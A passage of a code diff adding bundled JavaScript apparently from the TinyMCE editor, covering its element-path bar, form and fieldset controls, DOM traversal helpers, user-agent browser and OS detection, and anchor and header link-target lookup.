+    _getDataPathHtml: function (data) {
+      var self = this;
+      var parts = data || [];
+      var i, l, html = '';
+      var prefix = self.classPrefix;
+      for (i = 0, l = parts.length; i < l; i++) {
+        html += (i > 0 ? '<div class="' + prefix + 'divider" aria-hidden="true"> ' + self.settings.delimiter + ' </div>' : '') + '<div role="button" class="' + prefix + 'path-item' + (i === l - 1 ? ' ' + prefix + 'last' : '') + '" data-index="' + i + '" tabindex="-1" id="' + self._id + '-' + i + '" aria-level="' + (i + 1) + '">' + parts[i].name + '</div>';
+      }
+      if (!html) {
+        html = '<div class="' + prefix + 'path-item">\xA0</div>';
+      }
+      return html;
+    }
+  });
+
+  var ElementPath = Path.extend({
+    postRender: function () {
+      var self = this, editor = self.settings.editor;
+      function isHidden(elm) {
+        if (elm.nodeType === 1) {
+          if (elm.nodeName === 'BR' || !!elm.getAttribute('data-mce-bogus')) {
+            return true;
+          }
+          if (elm.getAttribute('data-mce-type') === 'bookmark') {
+            return true;
+          }
+        }
+        return false;
+      }
+      if (editor.settings.elementpath !== false) {
+        self.on('select', function (e) {
+          editor.focus();
+          editor.selection.select(this.row()[e.index].element);
+          editor.nodeChanged();
+        });
+        editor.on('nodeChange', function (e) {
+          var outParents = [];
+          var parents = e.parents;
+          var i = parents.length;
+          while (i--) {
+            if (parents[i].nodeType === 1 && !isHidden(parents[i])) {
+              var args = editor.fire('ResolveName', {
+                name: parents[i].nodeName.toLowerCase(),
+                target: parents[i]
+              });
+              if (!args.isDefaultPrevented()) {
+                outParents.push({
+                  name: args.name,
+                  element: parents[i]
+                });
+              }
+              if (args.isPropagationStopped()) {
+                break;
+              }
+            }
+          }
+          self.row(outParents);
+        });
+      }
+      return self._super();
+    }
+  });
+
+  var FormItem = Container.extend({
+    Defaults: {
+      layout: 'flex',
+      align: 'center',
+      defaults: { flex: 1 }
+    },
+    renderHtml: function () {
+      var self = this, layout = self._layout, prefix = self.classPrefix;
+      self.classes.add('formitem');
+      layout.preRender(self);
+      return '<div id="' + self._id + '" class="' + self.classes + '" hidefocus="1" tabindex="-1">' + (self.settings.title ? '<div id="' + self._id + '-title" class="' + prefix + 'title">' + self.settings.title + '</div>' : '') + '<div id="' + self._id + '-body" class="' + self.bodyClasses + '">' + (self.settings.html || '') + layout.renderHtml(self) + '</div>' + '</div>';
+    }
+  });
+
+  var Form = Container.extend({
+    Defaults: {
+      containerCls: 'form',
+      layout: 'flex',
+      direction: 'column',
+      align: 'stretch',
+      flex: 1,
+      padding: 15,
+      labelGap: 30,
+      spacing: 10,
+      callbacks: {
+        submit: function () {
+          this.submit();
+        }
+      }
+    },
+    preRender: function () {
+      var self = this, items = self.items();
+      if (!self.settings.formItemDefaults) {
+        self.settings.formItemDefaults = {
+          layout: 'flex',
+          autoResize: 'overflow',
+          defaults: { flex: 1 }
+        };
+      }
+      items.each(function (ctrl) {
+        var formItem;
+        var label = ctrl.settings.label;
+        if (label) {
+          formItem = new FormItem(global$2.extend({
+            items: {
+              type: 'label',
+              id: ctrl._id + '-l',
+              text: label,
+              flex: 0,
+              forId: ctrl._id,
+              disabled: ctrl.disabled()
+            }
+          }, self.settings.formItemDefaults));
+          formItem.type = 'formitem';
+          ctrl.aria('labelledby', ctrl._id + '-l');
+          if (typeof ctrl.settings.flex === 'undefined') {
+            ctrl.settings.flex = 1;
+          }
+          self.replace(ctrl, formItem);
+          formItem.add(ctrl);
+        }
+      });
+    },
+    submit: function () {
+      return this.fire('submit', { data: this.toJSON() });
+    },
+    postRender: function () {
+      var self = this;
+      self._super();
+      self.fromJSON(self.settings.data);
+    },
+    bindStates: function () {
+      var self = this;
+      self._super();
+      function recalcLabels() {
+        var maxLabelWidth = 0;
+        var labels = [];
+        var i, labelGap, items;
+        if (self.settings.labelGapCalc === false) {
+          return;
+        }
+        if (self.settings.labelGapCalc === 'children') {
+          items = self.find('formitem');
+        } else {
+          items = self.items();
+        }
+        items.filter('formitem').each(function (item) {
+          var labelCtrl = item.items()[0], labelWidth = labelCtrl.getEl().clientWidth;
+          maxLabelWidth = labelWidth > maxLabelWidth ? labelWidth : maxLabelWidth;
+          labels.push(labelCtrl);
+        });
+        labelGap = self.settings.labelGap || 0;
+        i = labels.length;
+        while (i--) {
+          labels[i].settings.minWidth = maxLabelWidth + labelGap;
+        }
+      }
+      self.on('show', recalcLabels);
+      recalcLabels();
+    }
+  });
+
+  var FieldSet = Form.extend({
+    Defaults: {
+      containerCls: 'fieldset',
+      layout: 'flex',
+      direction: 'column',
+      align: 'stretch',
+      flex: 1,
+      padding: '25 15 5 15',
+      labelGap: 30,
+      spacing: 10,
+      border: 1
+    },
+    renderHtml: function () {
+      var self = this, layout = self._layout, prefix = self.classPrefix;
+      self.preRender();
+      layout.preRender(self);
+      return '<fieldset id="' + self._id + '" class="' + self.classes + '" hidefocus="1" tabindex="-1">' + (self.settings.title ? '<legend id="' + self._id + '-title" class="' + prefix + 'fieldset-title">' + self.settings.title + '</legend>' : '') + '<div id="' + self._id + '-body" class="' + self.bodyClasses + '">' + (self.settings.html || '') + layout.renderHtml(self) + '</div>' + '</fieldset>';
+    }
+  });
+
+  var unique$1 = 0;
+  var generate = function (prefix) {
+    var date = new Date();
+    var time = date.getTime();
+    var random = Math.floor(Math.random() * 1000000000);
+    unique$1++;
+    return prefix + '_' + random + unique$1 + String(time);
+  };
+
+  var fromHtml = function (html, scope) {
+    var doc = scope || document;
+    var div = doc.createElement('div');
+    div.innerHTML = html;
+    if (!div.hasChildNodes() || div.childNodes.length > 1) {
+      console.error('HTML does not have a single root node', html);
+      throw 'HTML must have a single root node';
+    }
+    return fromDom(div.childNodes[0]);
+  };
+  var fromTag = function (tag, scope) {
+    var doc = scope || document;
+    var node = doc.createElement(tag);
+    return fromDom(node);
+  };
+  var fromText = function (text, scope) {
+    var doc = scope || document;
+    var node = doc.createTextNode(text);
+    return fromDom(node);
+  };
+  var fromDom = function (node) {
+    if (node === null || node === undefined)
+      throw new Error('Node cannot be null or undefined');
+    return { dom: constant(node) };
+  };
+  var fromPoint = function (docElm, x, y) {
+    var doc = docElm.dom();
+    return Option.from(doc.elementFromPoint(x, y)).map(fromDom);
+  };
+  var Element$$1 = {
+    fromHtml: fromHtml,
+    fromTag: fromTag,
+    fromText: fromText,
+    fromDom: fromDom,
+    fromPoint: fromPoint
+  };
+
+  var cached = function (f) {
+    var called = false;
+    var r;
+    return function () {
+      var args = [];
+      for (var _i = 0; _i < arguments.length; _i++) {
+        args[_i] = arguments[_i];
+      }
+      if (!called) {
+        called = true;
+        r = f.apply(null, args);
+      }
+      return r;
+    };
+  };
+
+  var $_vi4lpw5jjgwefvz = {
+    ATTRIBUTE: Node.ATTRIBUTE_NODE,
+    CDATA_SECTION: Node.CDATA_SECTION_NODE,
+    COMMENT: Node.COMMENT_NODE,
+    DOCUMENT: Node.DOCUMENT_NODE,
+    DOCUMENT_TYPE: Node.DOCUMENT_TYPE_NODE,
+    DOCUMENT_FRAGMENT: Node.DOCUMENT_FRAGMENT_NODE,
+    ELEMENT: Node.ELEMENT_NODE,
+    TEXT: Node.TEXT_NODE,
+    PROCESSING_INSTRUCTION: Node.PROCESSING_INSTRUCTION_NODE,
+    ENTITY_REFERENCE: Node.ENTITY_REFERENCE_NODE,
+    ENTITY: Node.ENTITY_NODE,
+    NOTATION: Node.NOTATION_NODE
+  };
+
+  var name = function (element) {
+    var r = element.dom().nodeName;
+    return r.toLowerCase();
+  };
+  var type = function (element) {
+    return element.dom().nodeType;
+  };
+  var value = function (element) {
+    return element.dom().nodeValue;
+  };
+  var isType$1 = function (t) {
+    return function (element) {
+      return type(element) === t;
+    };
+  };
+  var isComment = function (element) {
+    return type(element) === $_vi4lpw5jjgwefvz.COMMENT || name(element) === '#comment';
+  };
+  var isElement = isType$1($_vi4lpw5jjgwefvz.ELEMENT);
+  var isText = isType$1($_vi4lpw5jjgwefvz.TEXT);
+  var isDocument = isType$1($_vi4lpw5jjgwefvz.DOCUMENT);
+  var $_8bzgjvw4jjgwefvy = {
+    name: name,
+    type: type,
+    value: value,
+    isElement: isElement,
+    isText: isText,
+    isDocument: isDocument,
+    isComment: isComment
+  };
+
+  var inBody = function (element) {
+    var dom = $_8bzgjvw4jjgwefvy.isText(element) ? element.dom().parentNode : element.dom();
+    return dom !== undefined && dom !== null && dom.ownerDocument.body.contains(dom);
+  };
+  var body = cached(function () {
+    return getBody(Element$$1.fromDom(document));
+  });
+  var getBody = function (doc) {
+    var body = doc.dom().body;
+    if (body === null || body === undefined)
+      throw 'Body is not available yet';
+    return Element$$1.fromDom(body);
+  };
+  var $_g7jljiw2jjgwefvu = {
+    body: body,
+    getBody: getBody,
+    inBody: inBody
+  };
+
+  var Immutable = function () {
+    var fields = [];
+    for (var _i = 0; _i < arguments.length; _i++) {
+      fields[_i] = arguments[_i];
+    }
+    return function () {
+      var values = [];
+      for (var _i = 0; _i < arguments.length; _i++) {
+        values[_i] = arguments[_i];
+      }
+      if (fields.length !== values.length) {
+        throw new Error('Wrong number of arguments to struct. Expected "[' + fields.length + ']", got ' + values.length + ' arguments');
+      }
+      var struct = {};
+      each(fields, function (name, i) {
+        struct[name] = constant(values[i]);
+      });
+      return struct;
+    };
+  };
+
+  var toArray = function (target, f) {
+    var r = [];
+    var recurse = function (e) {
+      r.push(e);
+      return f(e);
+    };
+    var cur = f(target);
+    do {
+      cur = cur.bind(recurse);
+    } while (cur.isSome());
+    return r;
+  };
+  var $_5edc27wcjjgwefwz = { toArray: toArray };
+
+  var Global = typeof window !== 'undefined' ? window : Function('return this;')();
+
+  var path = function (parts, scope) {
+    var o = scope !== undefined && scope !== null ? scope : Global;
+    for (var i = 0; i < parts.length && o !== undefined && o !== null; ++i)
+      o = o[parts[i]];
+    return o;
+  };
+  var resolve = function (p, scope) {
+    var parts = p.split('.');
+    return path(parts, scope);
+  };
+
+  var unsafe = function (name, scope) {
+    return resolve(name, scope);
+  };
+  var getOrDie = function (name, scope) {
+    var actual = unsafe(name, scope);
+    if (actual === undefined || actual === null)
+      throw name + ' not available on this browser';
+    return actual;
+  };
+  var $_eggz6rwfjjgwefxb = { getOrDie: getOrDie };
+
+  var node = function () {
+    var f = $_eggz6rwfjjgwefxb.getOrDie('Node');
+    return f;
+  };
+  var compareDocumentPosition = function (a, b, match) {
+    return (a.compareDocumentPosition(b) & match) !== 0;
+  };
+  var documentPositionPreceding = function (a, b) {
+    return compareDocumentPosition(a, b, node().DOCUMENT_POSITION_PRECEDING);
+  };
+  var documentPositionContainedBy = function (a, b) {
+    return compareDocumentPosition(a, b, node().DOCUMENT_POSITION_CONTAINED_BY);
+  };
+  var $_d3tk25wejjgwefxa = {
+    documentPositionPreceding: documentPositionPreceding,
+    documentPositionContainedBy: documentPositionContainedBy
+  };
+
+  var firstMatch = function (regexes, s) {
+    for (var i = 0; i < regexes.length; i++) {
+      var x = regexes[i];
+      if (x.test(s))
+        return x;
+    }
+    return undefined;
+  };
+  var find$2 = function (regexes, agent) {
+    var r = firstMatch(regexes, agent);
+    if (!r)
+      return {
+        major: 0,
+        minor: 0
+      };
+    var group = function (i) {
+      return Number(agent.replace(r, '$' + i));
+    };
+    return nu(group(1), group(2));
+  };
+  var detect = function (versionRegexes, agent) {
+    var cleanedAgent = String(agent).toLowerCase();
+    if (versionRegexes.length === 0)
+      return unknown();
+    return find$2(versionRegexes, cleanedAgent);
+  };
+  var unknown = function () {
+    return nu(0, 0);
+  };
+  var nu = function (major, minor) {
+    return {
+      major: major,
+      minor: minor
+    };
+  };
+  var $_f8xw27wljjgwefxn = {
+    nu: nu,
+    detect: detect,
+    unknown: unknown
+  };
+
+  var edge = 'Edge';
+  var chrome = 'Chrome';
+  var ie = 'IE';
+  var opera = 'Opera';
+  var firefox = 'Firefox';
+  var safari = 'Safari';
+  var isBrowser = function (name, current) {
+    return function () {
+      return current === name;
+    };
+  };
+  var unknown$1 = function () {
+    return nu$1({
+      current: undefined,
+      version: $_f8xw27wljjgwefxn.unknown()
+    });
+  };
+  var nu$1 = function (info) {
+    var current = info.current;
+    var version = info.version;
+    return {
+      current: current,
+      version: version,
+      isEdge: isBrowser(edge, current),
+      isChrome: isBrowser(chrome, current),
+      isIE: isBrowser(ie, current),
+      isOpera: isBrowser(opera, current),
+      isFirefox: isBrowser(firefox, current),
+      isSafari: isBrowser(safari, current)
+    };
+  };
+  var $_6jz8s6wkjjgwefxk = {
+    unknown: unknown$1,
+    nu: nu$1,
+    edge: constant(edge),
+    chrome: constant(chrome),
+    ie: constant(ie),
+    opera: constant(opera),
+    firefox: constant(firefox),
+    safari: constant(safari)
+  };
+
+  var windows$1 = 'Windows';
+  var ios = 'iOS';
+  var android = 'Android';
+  var linux = 'Linux';
+  var osx = 'OSX';
+  var solaris = 'Solaris';
+  var freebsd = 'FreeBSD';
+  var isOS = function (name, current) {
+    return function () {
+      return current === name;
+    };
+  };
+  var unknown$2 = function () {
+    return nu$2({
+      current: undefined,
+      version: $_f8xw27wljjgwefxn.unknown()
+    });
+  };
+  var nu$2 = function (info) {
+    var current = info.current;
+    var version = info.version;
+    return {
+      current: current,
+      version: version,
+      isWindows: isOS(windows$1, current),
+      isiOS: isOS(ios, current),
+      isAndroid: isOS(android, current),
+      isOSX: isOS(osx, current),
+      isLinux: isOS(linux, current),
+      isSolaris: isOS(solaris, current),
+      isFreeBSD: isOS(freebsd, current)
+    };
+  };
+  var $_ac4rxfwmjjgwefxp = {
+    unknown: unknown$2,
+    nu: nu$2,
+    windows: constant(windows$1),
+    ios: constant(ios),
+    android: constant(android),
+    linux: constant(linux),
+    osx: constant(osx),
+    solaris: constant(solaris),
+    freebsd: constant(freebsd)
+  };
+
+  function DeviceType (os, browser, userAgent) {
+    var isiPad = os.isiOS() && /ipad/i.test(userAgent) === true;
+    var isiPhone = os.isiOS() && !isiPad;
+    var isAndroid3 = os.isAndroid() && os.version.major === 3;
+    var isAndroid4 = os.isAndroid() && os.version.major === 4;
+    var isTablet = isiPad || isAndroid3 || isAndroid4 && /mobile/i.test(userAgent) === true;
+    var isTouch = os.isiOS() || os.isAndroid();
+    var isPhone = isTouch && !isTablet;
+    var iOSwebview = browser.isSafari() && os.isiOS() && /safari/i.test(userAgent) === false;
+    return {
+      isiPad: constant(isiPad),
+      isiPhone: constant(isiPhone),
+      isTablet: constant(isTablet),
+      isPhone: constant(isPhone),
+      isTouch: constant(isTouch),
+      isAndroid: os.isAndroid,
+      isiOS: os.isiOS,
+      isWebView: constant(iOSwebview)
+    };
+  }
+
+  var detect$1 = function (candidates, userAgent) {
+    var agent = String(userAgent).toLowerCase();
+    return find(candidates, function (candidate) {
+      return candidate.search(agent);
+    });
+  };
+  var detectBrowser = function (browsers, userAgent) {
+    return detect$1(browsers, userAgent).map(function (browser) {
+      var version = $_f8xw27wljjgwefxn.detect(browser.versionRegexes, userAgent);
+      return {
+        current: browser.name,
+        version: version
+      };
+    });
+  };
+  var detectOs = function (oses, userAgent) {
+    return detect$1(oses, userAgent).map(function (os) {
+      var version = $_f8xw27wljjgwefxn.detect(os.versionRegexes, userAgent);
+      return {
+        current: os.name,
+        version: version
+      };
+    });
+  };
+  var $_d66zk7wojjgwefxw = {
+    detectBrowser: detectBrowser,
+    detectOs: detectOs
+  };
+
+  var contains$1 = function (str, substr) {
+    return str.indexOf(substr) !== -1;
+  };
+
+  var normalVersionRegex = /.*?version\/\ ?([0-9]+)\.([0-9]+).*/;
+  var checkContains = function (target) {
+    return function (uastring) {
+      return contains$1(uastring, target);
+    };
+  };
+  var browsers = [
+    {
+      name: 'Edge',
+      versionRegexes: [/.*?edge\/ ?([0-9]+)\.([0-9]+)$/],
+      search: function (uastring) {
+        var monstrosity = contains$1(uastring, 'edge/') && contains$1(uastring, 'chrome') && contains$1(uastring, 'safari') && contains$1(uastring, 'applewebkit');
+        return monstrosity;
+      }
+    },
+    {
+      name: 'Chrome',
+      versionRegexes: [
+        /.*?chrome\/([0-9]+)\.([0-9]+).*/,
+        normalVersionRegex
+      ],
+      search: function (uastring) {
+        return contains$1(uastring, 'chrome') && !contains$1(uastring, 'chromeframe');
+      }
+    },
+    {
+      name: 'IE',
+      versionRegexes: [
+        /.*?msie\ ?([0-9]+)\.([0-9]+).*/,
+        /.*?rv:([0-9]+)\.([0-9]+).*/
+      ],
+      search: function (uastring) {
+        return contains$1(uastring, 'msie') || contains$1(uastring, 'trident');
+      }
+    },
+    {
+      name: 'Opera',
+      versionRegexes: [
+        normalVersionRegex,
+        /.*?opera\/([0-9]+)\.([0-9]+).*/
+      ],
+      search: checkContains('opera')
+    },
+    {
+      name: 'Firefox',
+      versionRegexes: [/.*?firefox\/\ ?([0-9]+)\.([0-9]+).*/],
+      search: checkContains('firefox')
+    },
+    {
+      name: 'Safari',
+      versionRegexes: [
+        normalVersionRegex,
+        /.*?cpu os ([0-9]+)_([0-9]+).*/
+      ],
+      search: function (uastring) {
+        return (contains$1(uastring, 'safari') || contains$1(uastring, 'mobile/')) && contains$1(uastring, 'applewebkit');
+      }
+    }
+  ];
+  var oses = [
+    {
+      name: 'Windows',
+      search: checkContains('win'),
+      versionRegexes: [/.*?windows\ nt\ ?([0-9]+)\.([0-9]+).*/]
+    },
+    {
+      name: 'iOS',
+      search: function (uastring) {
+        return contains$1(uastring, 'iphone') || contains$1(uastring, 'ipad');
+      },
+      versionRegexes: [
+        /.*?version\/\ ?([0-9]+)\.([0-9]+).*/,
+        /.*cpu os ([0-9]+)_([0-9]+).*/,
+        /.*cpu iphone os ([0-9]+)_([0-9]+).*/
+      ]
+    },
+    {
+      name: 'Android',
+      search: checkContains('android'),
+      versionRegexes: [/.*?android\ ?([0-9]+)\.([0-9]+).*/]
+    },
+    {
+      name: 'OSX',
+      search: checkContains('os x'),
+      versionRegexes: [/.*?os\ x\ ?([0-9]+)_([0-9]+).*/]
+    },
+    {
+      name: 'Linux',
+      search: checkContains('linux'),
+      versionRegexes: []
+    },
+    {
+      name: 'Solaris',
+      search: checkContains('sunos'),
+      versionRegexes: []
+    },
+    {
+      name: 'FreeBSD',
+      search: checkContains('freebsd'),
+      versionRegexes: []
+    }
+  ];
+  var $_frphugwpjjgwefy0 = {
+    browsers: constant(browsers),
+    oses: constant(oses)
+  };
+
+  var detect$2 = function (userAgent) {
+    var browsers = $_frphugwpjjgwefy0.browsers();
+    var oses = $_frphugwpjjgwefy0.oses();
+    var browser = $_d66zk7wojjgwefxw.detectBrowser(browsers, userAgent).fold($_6jz8s6wkjjgwefxk.unknown, $_6jz8s6wkjjgwefxk.nu);
+    var os = $_d66zk7wojjgwefxw.detectOs(oses, userAgent).fold($_ac4rxfwmjjgwefxp.unknown, $_ac4rxfwmjjgwefxp.nu);
+    var deviceType = DeviceType(os, browser, userAgent);
+    return {
+      browser: browser,
+      os: os,
+      deviceType: deviceType
+    };
+  };
+  var $_2lmz7fwjjjgwefxj = { detect: detect$2 };
+
+  var detect$3 = cached(function () {
+    var userAgent = navigator.userAgent;
+    return $_2lmz7fwjjjgwefxj.detect(userAgent);
+  });
+  var $_3d6uczwijjgwefxg = { detect: detect$3 };
+
+  var ELEMENT = $_vi4lpw5jjgwefvz.ELEMENT;
+  var DOCUMENT = $_vi4lpw5jjgwefvz.DOCUMENT;
+  var is = function (element, selector) {
+    var elem = element.dom();
+    if (elem.nodeType !== ELEMENT)
+      return false;
+    else if (elem.matches !== undefined)
+      return elem.matches(selector);
+    else if (elem.msMatchesSelector !== undefined)
+      return elem.msMatchesSelector(selector);
+    else if (elem.webkitMatchesSelector !== undefined)
+      return elem.webkitMatchesSelector(selector);
+    else if (elem.mozMatchesSelector !== undefined)
+      return elem.mozMatchesSelector(selector);
+    else
+      throw new Error('Browser lacks native selectors');
+  };
+  var bypassSelector = function (dom) {
+    return dom.nodeType !== ELEMENT && dom.nodeType !== DOCUMENT || dom.childElementCount === 0;
+  };
+  var all = function (selector, scope) {
+    var base = scope === undefined ? document : scope.dom();
+    return bypassSelector(base) ? [] : map(base.querySelectorAll(selector), Element$$1.fromDom);
+  };
+  var one = function (selector, scope) {
+    var base = scope === undefined ? document : scope.dom();
+    return bypassSelector(base) ? Option.none() : Option.from(base.querySelector(selector)).map(Element$$1.fromDom);
+  };
+  var $_ofcqhwtjjgwefyb = {
+    all: all,
+    is: is,
+    one: one
+  };
+
+  var eq = function (e1, e2) {
+    return e1.dom() === e2.dom();
+  };
+  var isEqualNode = function (e1, e2) {
+    return e1.dom().isEqualNode(e2.dom());
+  };
+  var member = function (element, elements) {
+    return exists(elements, curry(eq, element));
+  };
+  var regularContains = function (e1, e2) {
+    var d1 = e1.dom(), d2 = e2.dom();
+    return d1 === d2 ? false : d1.contains(d2);
+  };
+  var ieContains = function (e1, e2) {
+    return $_d3tk25wejjgwefxa.documentPositionContainedBy(e1.dom(), e2.dom());
+  };
+  var browser = $_3d6uczwijjgwefxg.detect().browser;
+  var contains$2 = browser.isIE() ? ieContains : regularContains;
+  var $_bdbghwwdjjgwefx0 = {
+    eq: eq,
+    isEqualNode: isEqualNode,
+    member: member,
+    contains: contains$2,
+    is: $_ofcqhwtjjgwefyb.is
+  };
+
+  var owner = function (element) {
+    return Element$$1.fromDom(element.dom().ownerDocument);
+  };
+  var documentElement = function (element) {
+    return Element$$1.fromDom(element.dom().ownerDocument.documentElement);
+  };
+  var defaultView = function (element) {
+    var el = element.dom();
+    var defaultView = el.ownerDocument.defaultView;
+    return Element$$1.fromDom(defaultView);
+  };
+  var parent = function (element) {
+    var dom = element.dom();
+    return Option.from(dom.parentNode).map(Element$$1.fromDom);
+  };
+  var findIndex$1 = function (element) {
+    return parent(element).bind(function (p) {
+      var kin = children(p);
+      return findIndex(kin, function (elem) {
+        return $_bdbghwwdjjgwefx0.eq(element, elem);
+      });
+    });
+  };
+  var parents = function (element, isRoot) {
+    var stop = isFunction(isRoot) ? isRoot : constant(false);
+    var dom = element.dom();
+    var ret = [];
+    while (dom.parentNode !== null && dom.parentNode !== undefined) {
+      var rawParent = dom.parentNode;
+      var parent = Element$$1.fromDom(rawParent);
+      ret.push(parent);
+      if (stop(parent) === true)
+        break;
+      else
+        dom = rawParent;
+    }
+    return ret;
+  };
+  var siblings = function (element) {
+    var filterSelf = function (elements) {
+      return filter(elements, function (x) {
+        return !$_bdbghwwdjjgwefx0.eq(element, x);
+      });
+    };
+    return parent(element).map(children).map(filterSelf).getOr([]);
+  };
+  var offsetParent = function (element) {
+    var dom = element.dom();
+    return Option.from(dom.offsetParent).map(Element$$1.fromDom);
+  };
+  var prevSibling = function (element) {
+    var dom = element.dom();
+    return Option.from(dom.previousSibling).map(Element$$1.fromDom);
+  };
+  var nextSibling = function (element) {
+    var dom = element.dom();
+    return Option.from(dom.nextSibling).map(Element$$1.fromDom);
+  };
+  var prevSiblings = function (element) {
+    return reverse($_5edc27wcjjgwefwz.toArray(element, prevSibling));
+  };
+  var nextSiblings = function (element) {
+    return $_5edc27wcjjgwefwz.toArray(element, nextSibling);
+  };
+  var children = function (element) {
+    var dom = element.dom();
+    return map(dom.childNodes, Element$$1.fromDom);
+  };
+  var child = function (element, index) {
+    var children = element.dom().childNodes;
+    return Option.from(children[index]).map(Element$$1.fromDom);
+  };
+  var firstChild = function (element) {
+    return child(element, 0);
+  };
+  var lastChild = function (element) {
+    return child(element, element.dom().childNodes.length - 1);
+  };
+  var childNodesCount = function (element) {
+    return element.dom().childNodes.length;
+  };
+  var hasChildNodes = function (element) {
+    return element.dom().hasChildNodes();
+  };
+  var spot = Immutable('element', 'offset');
+  var leaf = function (element, offset) {
+    var cs = children(element);
+    return cs.length > 0 && offset < cs.length ? spot(cs[offset], 0) : spot(element, offset);
+  };
+  var $_r7112w6jjgwefw2 = {
+    owner: owner,
+    defaultView: defaultView,
+    documentElement: documentElement,
+    parent: parent,
+    findIndex: findIndex$1,
+    parents: parents,
+    siblings: siblings,
+    prevSibling: prevSibling,
+    offsetParent: offsetParent,
+    prevSiblings: prevSiblings,
+    nextSibling: nextSibling,
+    nextSiblings: nextSiblings,
+    children: children,
+    child: child,
+    firstChild: firstChild,
+    lastChild: lastChild,
+    childNodesCount: childNodesCount,
+    hasChildNodes: hasChildNodes,
+    leaf: leaf
+  };
+
+  var all$1 = function (predicate) {
+    return descendants($_g7jljiw2jjgwefvu.body(), predicate);
+  };
+  var ancestors = function (scope, predicate, isRoot) {
+    return filter($_r7112w6jjgwefw2.parents(scope, isRoot), predicate);
+  };
+  var siblings$1 = function (scope, predicate) {
+    return filter($_r7112w6jjgwefw2.siblings(scope), predicate);
+  };
+  var children$1 = function (scope, predicate) {
+    return filter($_r7112w6jjgwefw2.children(scope), predicate);
+  };
+  var descendants = function (scope, predicate) {
+    var result = [];
+    each($_r7112w6jjgwefw2.children(scope), function (x) {
+      if (predicate(x)) {
+        result = result.concat([x]);
+      }
+      result = result.concat(descendants(x, predicate));
+    });
+    return result;
+  };
+  var $_3dx616w1jjgwefvq = {
+    all: all$1,
+    ancestors: ancestors,
+    siblings: siblings$1,
+    children: children$1,
+    descendants: descendants
+  };
+
+  var all$2 = function (selector) {
+    return $_ofcqhwtjjgwefyb.all(selector);
+  };
+  var ancestors$1 = function (scope, selector, isRoot) {
+    return $_3dx616w1jjgwefvq.ancestors(scope, function (e) {
+      return $_ofcqhwtjjgwefyb.is(e, selector);
+    }, isRoot);
+  };
+  var siblings$2 = function (scope, selector) {
+    return $_3dx616w1jjgwefvq.siblings(scope, function (e) {
+      return $_ofcqhwtjjgwefyb.is(e, selector);
+    });
+  };
+  var children$2 = function (scope, selector) {
+    return $_3dx616w1jjgwefvq.children(scope, function (e) {
+      return $_ofcqhwtjjgwefyb.is(e, selector);
+    });
+  };
+  var descendants$1 = function (scope, selector) {
+    return $_ofcqhwtjjgwefyb.all(selector, scope);
+  };
+  var $_5wsttjw0jjgwefvp = {
+    all: all$2,
+    ancestors: ancestors$1,
+    siblings: siblings$2,
+    children: children$2,
+    descendants: descendants$1
+  };
+
+  var trim$1 = global$2.trim;
+  var hasContentEditableState = function (value) {
+    return function (node) {
+      if (node && node.nodeType === 1) {
+        if (node.contentEditable === value) {
+          return true;
+        }
+        if (node.getAttribute('data-mce-contenteditable') === value) {
+          return true;
+        }
+      }
+      return false;
+    };
+  };
+  var isContentEditableTrue = hasContentEditableState('true');
+  var isContentEditableFalse = hasContentEditableState('false');
+  var create = function (type, title, url, level, attach) {
+    return {
+      type: type,
+      title: title,
+      url: url,
+      level: level,
+      attach: attach
+    };
+  };
+  var isChildOfContentEditableTrue = function (node) {
+    while (node = node.parentNode) {
+      var value = node.contentEditable;
+      if (value && value !== 'inherit') {
+        return isContentEditableTrue(node);
+      }
+    }
+    return false;
+  };
+  var select = function (selector, root) {
+    return map($_5wsttjw0jjgwefvp.descendants(Element$$1.fromDom(root), selector), function (element) {
+      return element.dom();
+    });
+  };
+  var getElementText = function (elm) {
+    return elm.innerText || elm.textContent;
+  };
+  var getOrGenerateId = function (elm) {
+    return elm.id ? elm.id : generate('h');
+  };
+  var isAnchor = function (elm) {
+    return elm && elm.nodeName === 'A' && (elm.id || elm.name);
+  };
+  var isValidAnchor = function (elm) {
+    return isAnchor(elm) && isEditable(elm);
+  };
+  var isHeader = function (elm) {
+    return elm && /^(H[1-6])$/.test(elm.nodeName);
+  };
+  var isEditable = function (elm) {
+    return isChildOfContentEditableTrue(elm) && !isContentEditableFalse(elm);
+  };
+  var isValidHeader = function (elm) {
+    return isHeader(elm) && isEditable(elm);
+  };
+  var getLevel = function (elm) {
+    return isHeader(elm) ? parseInt(elm.nodeName.substr(1), 10) : 0;
+  };
+  var headerTarget = function (elm) {
+    var headerId = getOrGenerateId(elm);
+    var attach = function () {
+      elm.id = headerId;
+    };
+    return create('header', getElementText(elm), '#' + headerId, getLevel(elm), attach);
+  };
+  var anchorTarget = function (elm) {
+    var anchorId = elm.id || elm.name;
+    var anchorText = getElementText(elm);
+    return create('anchor', anchorText ? anchorText : '#' + anchorId, '#' + anchorId, 0, noop);
+  };
+  var getHeaderTargets = function (elms) {
+    return map(filter(elms, isValidHeader), headerTarget);
+  };
+  var getAnchorTargets = function (elms) {
+    return map(filter(elms, isValidAnchor), anchorTarget);
+  };
+  var getTargetElements = function (elm) {
+    var elms = select('h1,h2,h3,h4,h5,h6,a:not([href])', elm);
+    return elms;
+  };
+  var hasTitle = function (target) {
+    return trim$1(target.title).length > 0;
+  };
+  var find$3 = function (elm) {
+    var elms = getTargetElements(elm);
+    return filter(getHeaderTargets(elms).concat(getAnchorTargets(elms)), hasTitle);
+  };
+  var $_7cacckvxjjgwefv6 = { find: find$3 };
+
+  var getActiveEditor = function () {
+    return window.tinymce ? window.tinymce.activeEditor : global$1.activeEditor;
+  };
+  var history = {};
+  var HISTORY_LENGTH = 5;
+  var clearHistory = function () {
+    history = {};
+  };
+  var toMenuItem = function (target) {
+    return {
+      title: target.title,
+      value: {
+        title: { raw: target.title },
+        url: target.url,
+        attach: target.attach
+      }
+    };
+  };
+  var toMenuItems = function (targets) {
+    return global$2.map(targets, toMenuItem);
+  };
+  var staticMenuItem = function (title, url) {
+    return {
+      title: title,
+      value: {
+        title: title,
+        url: url,
+        attach: noop
+      }
+    };
+  };
+  var isUniqueUrl = function (url, targets) {
+    var foundTarget = exists(targets, function (target) {
+      return target.url === url;
+    });
+    return !foundTarget;
+  };
+  var getSetting = function (editorSettings, name, defaultValue) {
+    var value = name in editorSettings ? editorSettings[name] : defaultValue;
+    return value === false ? null : value;
+  };
+  var createMenuItems = function (term, targets, fileType, editorSettings) {
+    var separator = { title: '-' };
+    var fromHistoryMenuItems = function (history) {
+      var historyItems = history.hasOwnProperty(fileType) ? history[fileType] : [];
+      var uniqueHistory = filter(historyItems, function (url) {
+        return isUniqueUrl(url, targets);
+      });
